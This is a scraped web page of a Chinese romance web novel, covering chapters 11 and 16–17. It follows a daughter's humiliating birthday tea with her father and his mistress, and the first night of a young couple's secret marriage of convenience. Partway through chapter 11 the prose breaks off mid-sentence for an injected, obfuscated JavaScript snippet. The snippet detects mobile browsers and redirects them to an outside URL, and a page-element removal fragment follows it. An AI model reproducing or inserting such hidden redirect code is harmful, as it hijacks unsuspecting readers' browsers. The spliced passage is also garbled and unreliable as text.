凌叔心里陡然一跳,握着方向盘的手下意识地紧了紧。出了这么大的事,一向不太平的孟家怕是又要掀起不小的风浪了。 11. 第 11 章 接到姚德平助理电话时,姚以涵正要去上今天的最后一堂课。 “涵小姐,姚董还有十五分钟到您学校,想跟您一起用下午茶。” 太突然了。 姚以涵吃惊地停下脚步,反应过来后匆忙打电话让同学帮忙请假,自己转身向校门口跑去。 十一月底的港城温度宜人,不热,但她跑出校门时,后背竟在微微冒汗。 是激动的。 已经三个多月没见过父亲了,她中秋特地回了趟家也没见到,姚德平今年没有选择跟他们一起过节。 等了十分钟,一辆陌生的黑白双色的宾利慕尚停到她面前,车牌是SHINE33,不认识,姚以涵杵在原地没动。 这时,副驾驶的车门打开,姚德平的助理下来:“涵小姐。” 她才知道这辆车里坐的是姚德平。 助理替她拉开车门,姚以涵雀跃地坐进后排,喊了句“爸爸”,声音里的开心怎么都掩饰不住。 姚德平掀起眼皮看了她一眼,继续打工作电话:“老樊,年轻人敢想敢拼也不是坏事,翰泽有冲劲,梁茂林也有意合作,我们应该支持。” 对方不知道说了什么,他脸色一沉,“跟是不是我儿子无关,孟氏一直以来讲的就是能者居之。知道你心有不服,不过既然大家都支持,你一个人反对也没用,不如保留意见。哪天挣了钱,也有你的分红。” 他在谈公事,还跟哥哥有关,姚以涵不敢再说话,安静地靠在椅背上听着。 结束通话,姚德平脸色放缓,话音仍是冷硬:“涵涵,爸爸出差刚回来,给你补过生日。” “谢谢爸爸。” 持续了多天的失落刹那间云开雾散,姚以涵抿唇笑起来,把书包抱到怀里,觑着姚德平,染了黑发的他,鬓角又长出来不少白头发。 宾利没安独立座椅,她想了想挪坐过去,靠近他一点,“爸爸,其实不用特地为我赶过来,太辛苦了,您多注意身体。” 女儿眼里满是孺慕之情,姚德平很是受用,伸出手去揉了揉她的脑袋,难得柔声道:“不用担心。” 宾利平稳地驶上高架,车内很安静,姚以涵抱着书包,无聊地掰着手指,时不时侧头看看父亲。姚德平兀自闭目养神,没有再跟她闲聊的意思。 等宾利停稳,姚以涵小声喊道:“爸爸,到了。” 假寐的姚德平睁开眼睛,直起身:“走吧。” 下车站稳,姚以涵低头看了眼怀里的书包,想了想放回了后座,合上车门。她绕过车尾,小跑上前,犹豫了一下,轻轻挽住了父亲的胳膊。 姚德平偏过头看她一眼,没说话。 电梯上行至101层,助理报上预约信息,服务生引他们向大厅的落地窗边走去。 助理边走边轻声向姚德平解释:“邵总说这边风景更好,让我不用订包厢。” 姚以涵没听清他的话,只听姚德平面无表情地“嗯”了一声。 等他们落了座,助理自去旁边桌喝咖啡等候。姚德平示意服务生将菜单呈给女儿。 姚以涵一点都不饿,况且吃什么不重要,她只想跟父亲待一会儿,所以直接点了个英式下午茶双人套餐应景。 姚德平听到后抬眸,让服务生把菜单再递给他,扫了一眼套餐内容后:“加一份桂花碧螺春炖奶。” 原来父亲爱吃这道甜品,从前她都不知道。姚以涵心里暗暗记下。 服务生给他们倒了温水后退开,父女俩相顾无言。 姚德平虽没有重男轻女的思想,但他的时间精力不允许,做不了一个对女儿事无巨细样样关心的父亲,但每年女儿的生日,他都记得,尽量会陪他们吃一顿饭。 今年缺席,他特地来补上,举起玻璃杯:“爸爸以水代酒,祝你生日快乐,学业有成。” “谢谢爸爸。”姚以涵与他轻轻碰杯。 放下杯子,姚德平看向窗外的维港。万里无云的好天气,湛蓝的海水上偶尔滑过游艇,留下一道道白涛。对岸矗立着密密麻麻的高楼大厦,玻璃幕墙在日光下光彩闪耀,还有一架摩天轮。 他问:“从我们自己家楼上看下去,景色是不是跟这里差不多?” 双子大厦建成后,姚德平没上去过,不过这么问也不是好奇,就是找个话题。 姚以涵俯瞰着维港,很认真地回答:“我更喜欢宁市,港城这里建筑密度太大了,看着有些透不过气。” 高瞻远瞩的姚董不认可这种妇人之见:“宁市跟港城不好比。” 姚以涵一滞,后悔自己没动脑子说出了真心话。父亲经常说“人往高处走”,她刚刚那么说,显得很没有志气,就这么把天聊死了,她有些无措。 好在甜品和茶饮上来了,她轻声示意服务生把那份单独点的桂花碧螺春炖奶放到父亲那边。 姚德平让放到手边,但没动,他只喝茶。 姚以涵抿了一口茶水,没加牛奶的伯爵茶没有她喜欢的口感,但低头喝茶可以掩饰不知道找什么话题的窘迫。 她不是没有话题,想问父亲什么时候上山看妈妈,也想问刚刚他跟人打电话时聊到哥哥是不是发生了什么事。可不知道问这些合不合适。她只是关心家人,万一弄巧成拙,让父亲误会她有所居心反而尴尬。 正沉默着,有人站到桌边,姚以涵以为是服务生,下意识地抬头,却看到一张明艳的笑脸,茶棕色的长卷发披在肩头,合身的香奈儿粗花呢套装展露出姣好的身形曲线。 她脑袋里嗡地一声。 邵珊珊将购物袋放到桌角,推向她:“涵涵生日快乐,我刚刚在楼下买礼物,来晚啦。” 手指紧紧地捏着杯把,姚以涵作不出其他的反应,只是不自觉地看向父亲。 姚德平也正看着她,眉心微蹙。 “涵涵,你的礼貌呢?”他沉声问,对她没有起身叫人不满。 姚以涵脸色一白。 “你干嘛呀,吓到孩子了。”邵珊珊在姚德平肩膀上轻拍了一掌,一直到绕去他身侧坐下,手才离开。她理所当然地端过了那份桂花碧螺春炖奶,尝了一口,笑得眯起眼睛对姚德平说,“上次来,我说这个好吃,你记住啦?” 姚德平没搭腔,但比起刚才神色温柔不少。 姚以涵盯着那碗炖奶,似有潮水凶猛地涌上来,胸口一阵阵发闷,呼吸也变得不顺畅。 姚德平点点购物袋:“这是爸爸和阿姨送你的生日礼物。” 姚以涵的视线随之落到品牌标志性的黑袋白花上,象征着高贵优雅的山茶花,花语是“理想的爱”。 喉头一哽,她忽然有些反胃。 姚德平见她发愣,顿感不悦:“收好。”语气十分不耐。 邵珊珊推了一下他的胳膊,笑着对姚以涵说道:“不知道你们小年轻的审美,阿姨按自己的眼光挑的,涵涵不要嫌我老土哦。” 他们的目光似有千钧重,姚以涵承受不住。她扯扯嘴角,几不可闻地说了句“谢谢”,将购物袋放到旁边的餐椅上,对面的两人已经在说其他,嗡嗡嗡的。 她一个字都听不进去,去端茶杯的手有点颤抖。茶水送至嘴边,温热的气息蒸腾,竟熏得鼻尖瞬间酸涩,眼前一阵模糊,她慌乱地将杯子抬高几分,挡住旁人的视线。 “涵涵,你爸爸待会儿就飞回宁市了,不过以后阿姨会经常驻在港城,你有事随时找我。啊不对,没事也可以随时找我吃饭逛街。”邵珊珊突然找她说话。 控制不好起伏的情绪,姚以涵不敢抬头,垂眸点了点头。 姚德平最不耐烦她这副模样,跟孟淑慧一样,像是受了天大的委屈有苦说不出,非要做给他看。那架势就是想让他扪心自问,想让他心中生愧,想让他一辈子做她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829924|158916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们道德枷锁里的囚徒。 他没了兴致,看了一眼那碗炖奶,问邵珊珊:“还吃吗?” “不吃了,尝过就好,多吃要胖的。” “那走吧。” 姚德平将餐巾抛到桌上起身,邵珊珊握上他的手,惊讶:“着什么急呀,孩子还什么都没吃呢。” “你还吃吗?”他居高临下地看着女儿。 被他突然变脸吓到的姚以涵不敢抬头,只轻轻摇了摇头,桌下的手暗自掐着手心,把眼中的涩意逼回去。 “那走吧,我们还要赶飞机。”姚德平拔步就走。 姚以涵慌忙抬眼,正看到邵珊珊匆匆跟上去挽住了他的胳膊,和他相携而行,不知说了什么,姚德平露出一丝笑意。 她突然就想起了中秋那个晚上,妈妈在院子中独坐赏月的背影。 那本该属于妈妈的位置,为什么你会这么理所当然地给了别人? 如果你对妈妈不是理想的爱,又为什么要结婚呢? 她很有冲动想追上去问问姚德平,可是不敢……因为她不能再给父母的关系雪上加霜,不能再把爸爸往别人那里推。 书包还在车上,姚以涵揉了揉发酸的眼眶,拎着那份沉重的生日礼物跟上去。 到了停车场,邵珊珊招呼她上车,姚德平却道:“自己打车回吧。”他不想再看一路的苦瓜脸色。 姚以涵只好拿了书包抱在怀里,安静地看着宾利离开,还没有走远,她看见的红色尾灯已经模糊了。 邵珊珊回头看到小姑娘孤零零地愣怔在原地,收敛了笑意:“你干嘛对孩子摆脸色?她不想喊我就不喊。这么多年都过来了,你看我在意那些吗?” “这么多年都过来了,他们应该要接受你跟博远的存在。” 说完,姚德平不再言语,偏头看向窗外。 家和万事兴,偏偏他的家不得安生。他有心做个好丈夫好父亲,一次又一次放下身段陪她们哄她们,结果呢,一个个苦大仇深的样子,看着这样的脸色谁能待得住? 站了一会儿,姚以涵用手背抹掉了脸颊的湿意,往跟宾利相反的方向走去,走了几步给哥哥发消息,问他在不在忙。 半个小时以后才收到他的回复:【刚在领证。】 本来已经在人来人往的地铁上退去了最初汹涌的泪意,看到哥哥的头像,她的情绪又翻涌上来。可他大概又获得了杰出青年之类的表彰,她想说的那些话堵在喉咙间,成了不合时宜的黑泥,不知道该不该吐露。 正好到站,她深吸一口气收起了手机,起身往车门走。 这时,身后有老太太拍她胳膊:“你漏咗嘢喇。”好心地将落在座位上的购物袋塞到她手里。 姚以涵下了车,列车在身后呼啸着离去,她低头看着袋子。 刚刚她是故意忘记了拿这份“礼物”,却不想没甩掉——有些东西就是一辈子都没办法甩掉的。 事实就是父亲跟那个女人的儿子只比她小一岁,而她的父母早在十五年前就已经感情破裂分居了——她再掩耳盗铃也没用。 她在原地停留,直到下一班列车进站又匆匆离去才醒过神,掏出手机。在哥哥高兴的时刻,她不再旧事重提说这些扫兴的话题,今天的事就烂在肚子里,故作云淡风轻地问:【什么证呀?】 孟翰泽:【结婚证。】 后附一张红本照片。 姚以涵吓了一跳,手里的购物袋掉落在地上。 孟翰泽又发了信息过来:【找我有事?】 过于惊讶,脑袋像被深水鱼雷炸开,暂时冲散了那些负能量,她忙回:【没事。】 现在更重要的是:【哥哥,你怎么突然结婚了?跟谁???】 总不会是姑姑安排的相亲对象吧,她眼皮一跳。 孟翰泽却没回答:【晚上跟你说。我们到家了。】 16-20 第16章 孟翰泽刷了指纹开门,玄关的感应灯亮起,他扶着门侧身,等着她入内。 梁奚禾看了他一眼,磨磨蹭蹭地跟进去,客厅还未开灯,270度观景落地窗此时像8k超高清巨屏将灯火璀璨的城市夜景投射到眼前。 她尚在打量,突然听到他讲电话:“陶医生,麻烦过来一趟,87楼。是皮外伤。” 她马上回头:“不用了,小伤。” 脸颊仍旧在疼,她不知道伤口有多大多深,但下意识地不想被别人窥视今晚发生的事。把老妈惹毛到这种程度,而抗争的结果依然是被迫缴械投降,期待已久的度假计划宣告破产,她简直是彻头彻尾的loser。 孟翰泽将总控开关打开,瞬间顶灯壁灯还有落地灯都被智能开启。 他看清了那道血痕,凝眉:“伤口没处理好会发炎。” 没有人会希望看到洁白莹润的肌肤上被撕开这样一道口子,她现在懒得处理,将来就会炸毛。 他提醒,“还会留疤。” 留疤破相几乎是所有女生的死穴,梁奚禾果然没再拒绝,手插在浴袍的口袋里,垂目“嗯”了一声。 “随意坐。” 孟翰泽招呼了她一句就往岛台走去。 梁奚禾往里走,错落有致的灯光里,她看清屋子里是跟玄关一以贯之的装饰风格,大量采用了天然石材和珍贵木材,沉稳中带着低调的奢华与贵气,就如他本人。 岛台处,他取了玻璃杯在直饮水龙头上接水,手边是下午她收到的那束百合花,已经被妥帖地插到玻璃瓶中,姿态舒展地散发着浓郁香气,给线条利落的空间添了些许柔和。 虽然惊讶于他会将它带回来,梁奚禾没多问原因,许是爱花之人呢。 孟翰泽将这杯温水递给她,问道:“还想喝点什么吗?果汁或者牛奶?” 咖啡和茶家里也有,但这会儿时间太晚了,喝了容易失眠,他就没提。 梁奚禾收回打量的视线,摇头。她其实想问有酒吗,但碍于眼前的人并不是可以深夜对酌的关系,只道:“谢谢,温水就好了。” “想吃什么水果?” “也不用,谢谢。” 她坐去沙发上。全黑色的意式极简大黑牛沙发,真皮材质触手温凉,坐着比她家里那套法式洛可可风舒服很多。 寻了个合适的坐姿,她低头整理浴袍的下摆将腿盖住。 孟翰泽看着她。见面的这几次,她无不是昂扬恣意的模样,今晚却垂头丧气,刚在门口看到他假装无事发生调侃的那一句,也笑得有气无力。 他在一侧的单人沙发上坐下,手肘搁在膝盖上作聆听状,认真问起:“发生什么事了?” 他的声音温和,带着循循善诱的意味,梁奚禾动作一顿。 挣脱束缚时的委屈与愤怒,最后被迫屈服时的不甘跟无力,以及看到妈妈气急时的心软和懊悔,她的心绪其实一直在这几种状态中跳跃,还没有很好消化。 他这一问令她很想倾诉,但还是不欲交浅言深。 她喝了一口水掩埋情绪,转而玩笑道:“怎么说今天也是我们结婚的第一天,晚上就见血请医生,孟总不怕被传成家暴吗?” 这种无稽之谈他当然不怕,反而问她:“担心这个?” 她耸肩,就是随便扯了一句转移话题。 没想到他神色认真地回答,“陶医生做孟家的家庭医生很多年了,说话做事很有分寸,放心。”似乎想到了什么又说了句“稍等”,起身往楼上去了。 梁奚禾没在意,环顾四周找可以看时间的装置,没了手机她对时间完全没概念,心里盘算待上半小时老妈也应该走了,正好利用这段时间跟他串个口供。 孟翰泽很快回来,梁奚禾看到一个蓝色盒子托在他的掌心。 “这是什么?” 他修长的手指覆上盒子,珠宝盒如同跑车的鸥翼门一般展开在她眼前。 梁奚禾的视线凝在他的手上两秒后移开,看到一枚冠冕形状的戒指嵌在黑色丝绒里,中间一刻3克拉的水滴形大钻石流光溢彩。 尚美巴黎的Joséphine加冕爱系列,梁奚禾已经入了爱翼、繁花和朝露,这枚鹭羽当然也在tobuylist里,此刻难免惊喜了一下,又马上恢复淡定。 下午指围刚刚发他,戒指这么快就买好了? 她是有话直接问的脾气,挑眉说道:“孟总,这戒指是给我的吗?我一向宁缺毋滥,就算是道具也不接受二手的。” “……” 对上那双半调侃半警告的葡萄眼,孟翰泽终于明白过来,她下午在车里拒绝盖上羊绒毯的原因。 大概因为毯子是临时借来用用的东西,她拒绝就是拒绝,没有多解释原因,但戒指不一样,以后经常要戴,所以她说得这么清楚。 小刺豚终于稍稍恢复振作,展露那份跟姚以涵完全不一样的脾性,喜怒分明,好恶也直接,不委屈自己,也不用他猜测。 孟翰泽觉得这样的相处很轻松,他眼里露出笑意,配合着表态。 “除非是祖传或者古董,不然不会送你二手的珠宝,其他东西也是。 “这是让店里送过来的,我要得急,今晚几家店的现货里面只有这款指围合适。” 简腾转发图片过来时,他觉得款式也很合适,梁家的小公主就应该配冠冕。 “希望你喜欢。” 这时,门铃响了,他起身去开门。 本来还想说,如果她不喜欢也没事,明天开始可以慢慢物色各个品牌的高珠,甚至可以定制。这一枚时间紧仓促物色的戒指就先备着,需要应付一些场合时随便戴戴。 他和陶医生一块回到客厅,梁奚禾已经将戒指戴到左手的无名指上,她撩了撩头发,看着年过半百的老者说道:“陶医生您好,我不小心让戒指划到了脸,好像有点严重。” 孟翰泽眉梢微动。他把戒指拿出来也是这个意思,还没说她就get了。 陶医生的注意力完全不在伤口是如何造成的,他关注的是这是第一次在87楼见到姚以涵以外的女孩子。 很是惊喜,又不知该怎么称呼她,他只能把药箱放到地毯上,言简意赅地说:“让我看看。” 伤口不深,怕碘伏有色素沉着,他用了生理盐水清洗。梁奚禾闭着眼睛,感觉到刺痛,忍着没说话。 孟翰泽注意到她睫毛轻颤,握着杯子的指尖泛白,在一旁不自觉蹙眉:“很疼吗?” 有人关心,三分疼痛顿时放大作七分,梁奚禾瓮声瓮气地“嗯”了一声。 陶医生默默地领悟了两人的关系。 清理完伤口后,他道:“不用包扎。” 随后从药箱里拿了一盒抗生素软膏,一盒促进伤口愈合的凝胶,还有一袋医用棉签交到孟翰泽手里,将用法用量一一交代。 “孟总放心,没大事儿,好好上药,不会留疤。” 他是医者也是父母心,看着孟翰泽长大的,终于等这孩子到了而立之年开了窍,他肯定得识相,上药这点小事就留待他们自己做。 一个喊疼疼,一个给呼呼,谁说不是情调呢。 陶医生背着药箱,深藏功与名地走了。 孟翰泽拧开药膏,挤到棉签上,靠近。 梁奚禾半仰着头,葡萄眼因为疼痛沁出湿意,难得的,看起来楚楚可怜。 对着这样的眼神,孟翰泽实在没办法靠得更近,他捏着棉签,暗吐了一口气:“闭上眼睛,我会轻一点。” 梁奚禾听话地合上眼眸,眼前全是他那双好看的手,想起了他握笔写字的样子,笔笔雄健,字字苍劲。 重手重脚的,一点都不像是会温柔的。 感觉到陌生的强烈的气息趋近,直至被完全笼罩,她猛地睁开眼睛。 孟翰泽屏息凝神,棉签即将触及伤口,不期然对上了潮露露的眼睛,他一滞。 两人距离很近,他能闻到她身上淡淡的薰衣草香气,独特又怡人的味道。 手指同时传来细腻的凉意,是梁奚禾捏住了那根棉签,连带触碰到他的指尖。 “还是我自己来。” 这种近距离对视已经突破了她预设的社交距离,梁奚禾飞快地抽出棉签,整个人向后靠去。 她不要他帮忙,问道,“有小镜子吗?” 男人哪有这种东西。孟翰泽看了她一眼,收回了手捞起手机,切成前置摄像头递给她,自己拿过她的半杯水去岛台,边走边单手解着扣子。 回来后,他尚未来得及脱掉西装外套,在暖气里楼上楼下跑了一趟,身上热度攀升,碰到这点微凉,他刚刚竟像焦渴之人被凉风拂过生出一丝贪恋,又在交错之后愈发觉得周身酷热难耐。 梁奚禾这才看到自己的伤口,清洗了血迹后,能看清破皮的程度,问题确实不大。 她举着棉签慢悠悠地靠近伤口,尚未触碰,就忍不住龇牙咧嘴。 孟翰泽接满杯回来,将西装脱下抛到沙发靠背上,重新坐了下来。 梁奚禾上了药,正对着镜头检视伤口,这时屏幕上挂下来一条横幅,她下意识地看了眼,就看到备注是梁董的人发了信息:【翰泽明天什么时候有空,到我办公室聊聊?】 “……” 不知道是不是自家的梁董,她慌乱两秒,将手机还给孟翰泽,“你有新消息。” 孟翰泽回复信息。 梁奚禾没忍住问:“我爸?” “嗯。” 约好时间,他将手机锁屏,“跟梁董约好明天上午见面。” “聊工作?” 约到办公室应该是聊合作的事,但以往都是通过助理敲定会面,梁董从来没有这样私聊过他,加上今天两人私自领了证,孟翰泽也不太确定。 他重新问起:“你跟家里怎么说的?需要我怎么配合?” “我跟我妈说,我们谈了很多年了,不是随随便便找个人领证。” 随随便便。 孟翰泽听着有些不适,又问:“受伤跟领证有关?” 早就猜测她可能是先斩后奏,没料到会闹到动手这么严重。 梁奚禾本不想多透露今晚跟奚云岚的冲突,但如今他跟她是一根绳上的蚂蚱,他对形势了解得越清楚,配合得越好,才能事半功倍。 她靠到沙发靠背上,拿了抱枕抱在怀里,尽量轻描淡写:“本来我想找个合适的时机公布的,可刚刚我妈要缴我的护照,我一急就直接把结婚证也给她了,她没心理准备,差点气死。” 孟翰泽蹙眉:“奚总是对我不满意?” 她撩了撩头发:“那倒没有,她都没注意到新郎是你。不过就算知道是你,反应也不会好到哪里去。” 说到底就是为她瞒着父母闪婚气疯了。 “她觉得我为了跟他们作对,故意拿婚姻开玩笑。事实上我不是,你知道我的打算的。所以为了让他们放心,尽快接受你,我说我们谈了很久。” 恐怕不会尽快接受他。孟翰泽想,他如今在梁总奚总眼里,肯定是不问自取了他们掌上明珠的盗贼。 这种觉悟来得晚了点,他早该预见的,跳过了正常的见家长和下聘订婚,没有哪家岳父岳母会觉得开心。 凭他一贯以来谋定而后动的作风,不该出现这种可能合作不成反惹梁董忌惮的情况。可当时他莫名有种错过了就再也不会有机会重来的紧迫感,没考虑周全就冲动行事了。 那现在要为不周全买单也理所应当。 他说:“明天见了梁董,我会解释是我着急领证。”先把责任揽到自己身上,尽快平息二老对她的怒气。 “不用,我想好了说辞。” 梁奚禾端水喝,水温触手比刚刚烫些,不宜入口,她就握着捂手,将构思的网恋桥段教给他。 多年前,情窦初开的少女在某个社交场合对成熟稳重的大哥哥一见钟情,通过锲而不舍地短信轰炸,终于成功将高岭之花拽下红尘,两人异国苦恋多年,好不容易回国团聚,一时情难自禁扯了证…… 孟翰泽越听,眉头皱得越紧:“不应该是我追你吗?” “我当时还在上学,你追我,在我爸妈眼里搞不好是老男人哄骗无知少女。我主动,他们才没话说。再说了,按照你跟我的个性来看,我追你可信度最高。” 看他一眼,她说,“你不像是会追人的。” 孟翰泽:“……” 老男人。 不像是会追人的。 他想起了司峻被倪二嫌弃的原因:年纪大、古板无趣、冷冰冰。 说到这里,梁奚禾想起梁董刚刚那条信息,称谓是“翰泽”,听上去语气还挺温和,甚至于亲切。 已经这么久了,这种爆炸性的新闻奚总肯定不会不转达,爸爸知道后,好像不太生气? 葡萄眼一亮,看到了僵局的突破口,她直起身问道:“手机方便借我吗?我想给我爸爸发个信息。” 孟翰泽没问发什么,解了锁给她。 梁奚禾找到对话框,清了清嗓子,点开语音。 “爸爸,今天是我的新婚夜,您大半夜找我老公是不是不太好呀?如果是公事,请工作时间聊,如果是私事……不然哪天我带他回家吃晚饭,你们再聊? “还有哦,已经很晚了,您该睡了,风华正茂的中年人也要注意身体呀。” 该哄哄,该骗骗,暗搓搓佐证两人相爱,还伸出了试探的触角。 梁奚禾满意地发送。 一旁的孟翰泽头皮一麻,她特意夹起的声音软糯娇嗲,还有那句“我老公”,听得人全身的骨头似乎都发酥。 他攥了攥手指,不自然地侧过头。 原来她撒起娇来是这样的。 第17章 孟翰泽为数不多的跟女生相处的经验来自于妹妹,不过姚以涵不会这样跟他讲话。 说起来,他也曾在应酬场合听过别人带来的女伴捏着嗓子哼哼唧唧地发出鼻音,矫揉造作得令人不适。 但此刻不同,梁奚禾一改往日高冷得不好接近的样子。听她特意软绵绵、甜滋滋地吐字,火力全开地释放着温柔、甜腻与娇憨,他第一次觉得嗲声嗲气并不讨厌。 声音如细细密密的雨丝拂过,令耳尖泛起痒意后钻入耳蜗,直抵心脏,化作一根羽毛轻轻划过心头。 再对上那双纯真无邪的葡萄眼,简直会让人油然而生一股冲动,恨不得把全世界都捧到她面前,只要她想要。 他暗自呼出一口气,心想如果将来有女儿,他肯定是不可能招架得住女儿这样的攻势的。 但是。 梁董好像招架住了。 过了好一会儿都没有回复。 吃不准他是事先不知道,被她充满信息量的语音惊到了,还是也正在生很大的气,选择性忽视她、不理她。 梁奚禾看着对话框琢磨不定,无意识地咬起指甲。 看到酒红色的指甲伸进唇齿之间,孟翰泽皱起眉头,忍不住抬手将她的胳膊往下轻轻一按。 “油漆有毒。” 梁奚禾看看他,又看看指甲,听劝地放下手:“完蛋,梁董好像也被我惹毛了。” 她将手机锁屏还给他,“抱歉啦孟总,恐怕你明天看不到好脸色了。” 孟翰泽将手机收起,举重若轻地说:“不用担心,我会解决。” 这事本来就是他做得不够周到,罔顾梁董夫妇的心情在前,看脸色也是应该。明天若是梁董大发雷霆,他会认真听着,诚恳道歉,然后郑重表态。 梁奚禾看向他,其实她一直不太喜欢如他这般城府太深的人,本能觉得危险,可几次相处下来,他总是神色沉静,言行举止毫不轻浮,果真如外界称道的那般端方持重,让她真切地感受到了一种不轻易许诺、有诺必践的力量。 这会儿听他这么说,她心里便莫名安定了,相信他会圆满解决。这种或许就是所谓的人格魅力,难怪她家梁董会有意向跟他合作。 事已至此,那就先睡觉吧。 梁奚禾敛了思绪起身告辞,临走不忘道谢:“孟总,跟你合作比我想象中更愉快,但对你来说,我好像是一个比较冒失的合作伙伴,有劳你费神处理各种状况了。” 她扬了扬蓝色珠宝盒,那枚鹭羽已经被收到里面,眉眼一弯,“如果我的卡没被冻结的话,回去就转账给你,如果冻结了,明天就只能先打个欠条了。” 孟翰泽也站起来,她穿着平底拖鞋还不到他的下巴,因为身形清瘦显得格外娇小,被完全笼罩在他的身影里。 他说:“不用转账,也不用客气。以后有事打我电话,或者直接进来等。明天我让简腾去找你录入指纹。” 梁奚禾愣住,一时间有种在被关照的感觉,而且这种关照不带客套或者讨好,仿佛他的能力与涵养让他理应如此,就像白天在民政局前他那么自然而然地帮她拎包。 英国最不缺所谓绅士,她也遇到过大献殷勤的男生,可没有哪个会让她有这种……怪怪的感觉。 孟翰泽俯身将茶几上的药膏拢在一处递过来,她接过握在手心,挠了挠额角拉回神游的思绪,往后退了一步,离他远一点方便交谈。 “其实刚刚我没想来找你,只是出来后不知道去哪儿,顺着连廊就逛到了这里。录入指纹就不必了,毕竟这是你家。” 孟翰泽垂眸注视着她,限量放送的娇柔一面已经被收回,如同昙花一现,她又恢复了公事公办的样子,爽利地与他划清界限。 当然,泾渭分明是好事,他就不必担心哪天她会像倪二一样情绪上来就要悔婚。 防止误会,他解释自己的用意:“你是我的合作伙伴,你说没地方去,我不可能袖手旁观。以后西楼你可以随时过来,对外这是你作为新婚妻子该有的权利,对内也是我的诚意。” 作为恩爱的夫妇,妻子不会进不了丈夫的家门。 他言之有理,梁奚禾接受,但直言:“我不会提供同等的权利给你。” 独居的公寓她当作是自己的私人领地,最好父母也不要涉足,更不会让外男入内。当初公寓与连廊交界处作了两道门禁,家里聘请的工人包括四位大厨都是女性,这些都是为了免去不必要的麻烦和隐患。 她不会因为他打破这个原则。 孟翰泽颔首:“理解。以后我们见面就在西楼。” “好。” 一事议定,梁奚禾转身往外走,抬步又突然顿住,灵魂发问:“但是,恩爱的夫妇会分居吗?” 孟翰泽:“……” 问当然是不会。分居是没有感情,或者感情破裂时才会发生的事,恩爱的夫妇只会如胶似漆到连身体都不想分开。 不过他们的恩爱是人前演戏,人后她不断强调想跟他保持距离,就算他愿意,她也没可能真的跟他演到同居的地步。 知道她在担心什么,他说:“楼上所有的工作人员都由简腾精挑细选,除了过硬的职业素养,还签过保密协议,不论在这里看到、听到什么,都不会乱传。” 就算他这边的人信得过,梁奚禾小脸一垮。 “问题是我身边有我妈妈的眼线。” 雷迪会把她的日常事无巨细地汇报给奚云岚,从前是她个人的一举一动,以后就会是他们夫妻的一言一行。她相信只要她现在回去,半个小时后奚云岚就会收到消息,说她的新婚之夜是独自度过的。那么之后无论她编再多再唯美的恋爱剧情,他们也不会相信了。 撒了一个谎就要用无数个谎去圆,梁奚禾深刻体会到了这句话,她着恼地抓了把头发:“恐怕我不能回去。” 孟翰泽略一思索就明白了她的处境。 小刺豚的刺尖而利,遇到正面的攻击时可以保护自己,但对鱼网却没有什么好办法。被捕获时,即使它竭尽全力张开满身的刺,也不过是在网中作困兽之斗。 每个人都有想要挣脱的枷锁,他能体察这种心情。 “那就不要回去了。” 他没让她的话落地,“楼上客房还没有接待过客人,不介意的话屈就一晚。” 梁奚禾向来不纠结不内耗,鲜少会因为什么事觉得尴尬,今晚却频频觉得不好意思,大概是因为自己对他说的话有太多的自相矛盾之处了。 她明明是个状况百出需要他不断帮忙善后的合作伙伴,却不停地自以为是地对他输出“独立宣言”。 但对上他的眼睛,梁奚禾没看到不满或者挑剔,一如既往地镇定平静,好像对她的一切问题都能照单全收。 她那种怪怪的感觉又浮上来,只说:“好。多谢。” 得到确认,孟翰泽长腿一迈,一步两个台阶地上了楼,她呼了一口气跟上。 客房也是套间,她倚在门口,看他在空荡的衣帽间里找到四件套。 “这是新的。” 他刚才特意说明房间从来没有其他人使用过,现在又强调床品都是新的,梁奚禾突然觉得有些好笑,认真地“哦”了一声。 孟翰泽便将四件套递过来。 梁奚禾没有伸手接,靠着门框眉梢轻轻一抬,表示疑惑。 四目相对,安静了几秒后,孟翰泽若有似无地勾起唇角:“我去铺床。” 他解了袖扣放到床头柜上,将白衬衫的袖口卷起。 梁奚禾:? 她不想动手,不是让他亲自帮她铺床的意思,明明可以喊阿姨上来。 眼前的画面给她带来了强烈的冲击感,因为他身上的一切,譬如俊美的外形、精英的装束、矜贵的气质,不论哪一样都无法和家务挂钩,反差太大。 在她的印象里,即使是一向以爱妻顾家著称的梁董,也从未沾手过这种琐事。 她的视线扫过他露出的精瘦有力的小臂看向别处,随着俯身、抖开一系列动作,他上臂与肩背处的衬衫时而紧贴身躯,时而松弛出褶皱,令强劲坚实的肌肉线条随之若隐若现。 就这么看着,梁奚禾突然明白过来为什么她受他关照会觉得怪怪的。 因为他从来没有对她流露过会让人觉得被冒犯的凝视,就像她现在正在对他做的,那种从异性角度的凝视。 她不否认她是双标,只允许自己把男人从五官身材线条到言谈举止审视一遍,却厌恶那些露出志在必得丑样的苍蝇,和打着绅士的幌子蓄意接近的伪君子。 孟翰泽显然不同,他的温和有礼之中有书香门第温养出的清贵之气,他对她的照拂是出自豁达圆融的涵养。 她想到他有一个亲妹妹,那么这份照拂里也可能带着为人兄长久了的惯性。 总之,和其他男人的殷勤完全不同,让她不排斥。 孟翰泽动作不甚娴熟却利落,将套好枕套的枕头放回床头,转身问道:“还有什么需要吗?” 想通此中关节的梁奚禾不再担心他越界而刻意强调保持距离,噙着笑意,大肆提需求。 “有睡眠喷雾吗?我要薰衣草香味的。” “……没有。” “那眼罩呢?我要真丝的。” “……也没有。” 梁奚禾“哦”了一声:“那没什么需要了。谢谢孟总。”直起身走进房间。 孟翰泽颔首:“不客气,休息吧。” 带上门离开,没过一会儿他又敲门。 梁奚禾已经脱了长浴袍,穿着长袖深V的真丝睡裙去开门:“怎么了?” 意识到她的着装变化,他马上背过身,递来一个黑色的保温杯:“温水。新杯子。”匆匆离开。 梁奚禾握着杯子顿在原地,不由发笑。 每次都要强调“新的”,他还真是古板…… 次日清晨,简腾如常准点上楼。 孟翰泽有早锻炼的习惯,气温适宜时会沿江晨跑,入冬后就在跑步机上慢跑。 他会陪着一起,孟总日理万机没有太多时间过问家事,他就趁着早上这点时间向Boss作个集中汇报。 